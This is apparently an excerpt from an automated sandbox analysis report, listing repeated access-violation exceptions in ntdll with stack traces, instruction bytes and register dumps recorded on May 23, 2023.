__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:07 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff 0x880fff exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244936 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
__exception__ May 23, 2023, 5:08 p.m.	stacktrace: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 @ 0x76d80895 stacktrace+0x84 memdup-0x1af @ 0x73980470 hook_in_monitor+0x45 lde-0x133 @ 0x739742ea New_ntdll_NtProtectVirtualMemory+0x34 New_ntdll_NtQueryAttributesFile-0x151 @ 0x73993603 VirtualProtectEx+0x33 MapViewOfFile-0x2d kernelbase+0x13243 @ 0x7fefd503243 VirtualProtect+0x1b VirtualProtectEx-0x15 kernelbase+0x131fb @ 0x7fefd5031fb driver+0x1be7cf @ 0x1401be7cf GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 0x880fff GetProcessAffinityMask+0x80 SetThreadContext-0x20 kernel32+0x2ef0 @ 0x76c12ef0 driver+0x882000 @ 0x140882000 driver+0x1000 @ 0x140001000 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 0x58c040 exception.instruction_r: 0f ae 81 00 01 00 00 0f 29 81 a0 01 00 00 0f 29 exception.symbol: RtlCaptureContext+0x85 RtlRestoreContext-0xaa ntdll+0x50895 exception.address: 0x76d80895 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 329877 registers.r14: 0 registers.r15: 0 registers.rcx: 1242680 registers.rsi: 5377630208 registers.r10: 0 registers.rbx: 1992371952 registers.rsp: 1244968 registers.r11: 514 registers.r8: 64 registers.r9: 4 registers.rdx: 1244024 registers.r12: 0 registers.rbp: 0 registers.rdi: 5368709487 registers.rax: 1242360 registers.r13: 0	1
